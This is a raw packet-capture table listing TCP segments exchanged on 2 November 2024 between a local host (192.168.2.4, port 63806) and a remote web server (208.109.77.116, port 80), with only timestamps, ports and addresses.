Nov 2, 2024 07:16:12.309818029 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309828043 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309838057 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309849024 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309855938 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309859991 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309871912 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309874058 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309895992 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309956074 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309971094 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309983015 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309992075 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310004950 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310010910 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310022116 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310033083 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310036898 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310043097 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310054064 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310055971 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310064077 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310075045 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310076952 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310092926 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310096979 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310103893 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310111046 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310112953 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310129881 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310141087 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310146093 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310156107 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310168028 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310169935 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310184002 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310193062 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310195923 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310205936 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310218096 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310225010 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310228109 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310239077 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310250044 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310251951 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310267925 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310272932 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310283899 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310291052 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310293913 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310305119 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310313940 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310321093 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310326099 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310334921 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310340881 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310348988 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310359955 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310370922 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310374022 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310381889 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310395002 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310399055 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310406923 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310406923 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310417891 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310430050 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310446024 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310452938 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310461998 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310472012 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310473919 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310484886 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310496092 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310511112 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310523987 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310553074 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310592890 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.310597897 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310616970 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.310636044 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.348618984 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.348629951 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.348639011 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.348644018 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.348649979 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.348659039 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.348665953 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.348674059 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.348810911 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.348810911 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.353593111 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353601933 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353645086 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353647947 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.353678942 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.353688955 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353699923 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353713989 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353729010 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353734016 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.353739977 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353751898 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353761911 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.353765011 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353775978 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353776932 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.353787899 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353807926 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353811979 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.353818893 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353840113 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.353904009 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353914022 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353923082 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353931904 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353939056 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.353943110 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353955030 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353956938 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.353965998 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.353985071 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.354000092 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.354017973 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.354029894 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.354059935 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.401994944 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.402015924 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.402024984 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.402203083 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.428522110 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428534985 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428544998 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428577900 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428584099 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.428589106 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428606033 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428615093 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.428617001 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428628922 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428641081 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428646088 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.428670883 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.428683043 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428688049 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.428694010 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428704977 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428714991 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428726912 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428733110 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.428740978 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428755999 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.428771973 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428775072 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.428782940 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428827047 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428832054 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.428838968 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428848982 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428858995 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428874016 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.428877115 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428888083 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428906918 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428914070 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.428916931 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428927898 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428936958 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.428961039 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428961039 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.428971052 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.428982019 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429004908 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.429030895 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.429222107 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429255962 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429265022 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429281950 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429292917 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429302931 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429306030 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.429336071 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429342985 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.429344893 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429395914 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.429425001 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429434061 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429474115 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.429477930 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429487944 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429497957 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429523945 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.429836988 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429886103 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.429912090 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429920912 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429938078 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429948092 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429958105 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.429960012 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.429999113 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430085897 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430130005 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430130959 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430143118 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430191994 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430201054 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430211067 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430221081 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430243015 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430288076 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430298090 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430308104 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430321932 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430327892 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430334091 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430352926 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430372000 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430382967 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430495977 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430505037 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430516005 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430527925 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430536985 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430541992 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430557966 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430558920 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430571079 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430588007 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430588961 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430598021 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430607080 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430608034 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430618048 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430625916 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430640936 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430650949 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430660009 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430685997 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430706024 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430716991 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430727959 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430738926 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430743933 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430780888 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430789948 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430792093 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430802107 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430819988 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430824995 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430866003 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430877924 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430888891 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430927992 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.430954933 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430964947 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430982113 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.430991888 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431001902 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431001902 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431014061 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431025982 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431025982 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431035995 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431054115 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431071043 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431076050 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431087017 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431097031 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431107998 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431118965 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431119919 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431133032 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431154013 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431164026 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431185961 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431195021 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431205034 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431233883 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431255102 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431265116 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431274891 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431287050 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431301117 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431303978 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431317091 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431325912 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431338072 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431345940 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431349039 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431374073 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431375027 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431385040 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431395054 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431406021 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431415081 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431416988 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431447029 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431461096 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431476116 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431493044 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431529045 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431606054 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431617022 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431627035 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431643009 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431654930 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431664944 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431669950 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431679964 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431695938 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431704998 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431708097 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431718111 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431729078 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431740046 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431744099 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431751966 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431762934 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431771994 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431776047 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431785107 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431792021 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431794882 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431813002 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431823015 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431833029 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431833982 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431862116 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431874037 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431879997 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431885004 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431895018 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431909084 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431915998 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431919098 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431943893 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.431967020 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431977987 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.431987047 CET	80	63806	208.109.77.116	192.168.2.4
